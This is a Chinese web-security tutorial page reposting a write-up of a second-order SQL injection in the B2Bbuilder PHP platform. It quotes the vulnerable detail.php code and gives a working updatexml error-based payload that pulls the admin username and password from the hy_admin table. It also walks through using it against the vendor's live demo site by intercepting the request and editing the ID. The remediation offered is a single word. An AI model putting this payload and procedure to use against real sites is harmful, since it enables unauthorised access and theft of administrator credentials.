网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

B2Bbuilder最新版SQL注入(DEMO演示) - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:40 作者:xxadmin 阅读:

[导读] B2Bbuilder最新版SQL注入(DEMO演示) module/buy/detail.php存在如下代码: ?phpinclude_once($config[webroot]/module/buy/includes/buy_class.php);//===================================================//报价提交if(!empty($_POST...

B2Bbuilder最新版SQL注入(DEMO演示)

module/buy/detail.php存在如下代码:

<?php
include_once("$config[webroot]/module/buy/includes/buy_class.php");
//===================================================
//报价提交
if(!empty($_POST['ajax']))
{
$id=$_POST['id']*1;
if(empty($buid))
exit('uid');//未登录
if($id)
{
$db->query('select valid_time from '.BUY.' where id='.$id.' limit 1');
$valid_time=$db->fetchField('valid_time');
$num=(strtotime(date($valid_time))+24*60*60)-time();
if($num<0)
exit('timeout'); //报价结束
$db->query('select count(*) as num from '.BUY.' where id='.$id.' limit 1');
$num=$db->fetchField('num');
if(empty($num))
exit('nobuy'); //求购已经删除
$db->query('select count(*) as num from '.BUYQPRO.' where buy_id='.$id.' and seller_id='.$buid.' limit 1');
$num1=$db->fetchField('num');
if($num1)
exit('es'); //已经报价了
//----------------------
foreach($_POST['pname'] as $key=>$v)
{
$con[]=array($v,$_POST['number'][$key],$_POST['unit'][$key],$_POST['price'][$key],$_POST['bprice'][$key]);
}
$con=serialize($con);
$flag=$db->query("insert into  ".BUYQPRO."(buy_id,seller_id,con)  values('$id','$buid','$con')");
//--------------------插入消息提示
if($flag)
{
$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title
$re=$db->fetchRow();
$userid=$re['userid'];
$title=$re['title'];//求购名称
$fromInfo=NULL;
$date=date("Y-m-d H:i");
$sql="insert into ".FEEDBACK."
  (touserid,sub,con,date,msgtype)
  VALUES
  ('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title

$res=$db->query($sql);
}
if($flag)
exit('ok');//报价成功
}
exit('error');//未知错误
}

可以看到:

$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title

('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title,没有过滤

于是我们在后台发布:

http://democn.b2b-builder.com/main.php?m=buy&s=admin_buy

title写入:' or updatexml(1,concat(1,(SELECT concat(user,0x23,password) FROM `hy_admin` limit 1)),1) or '

1.jpg

这里提交就写入了title

之后发现尼玛没有审核……不能够报价……

2.jpg





然后随便找一个可以报价的:
 

3.jpg





抓包并修改ID为自己的:
 

4.jpg





然后不提交,扔到repeater(也可以直接forward然后抓返回包~)
 

5.jpg


于是就得到账户密码了

解决方案:

过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论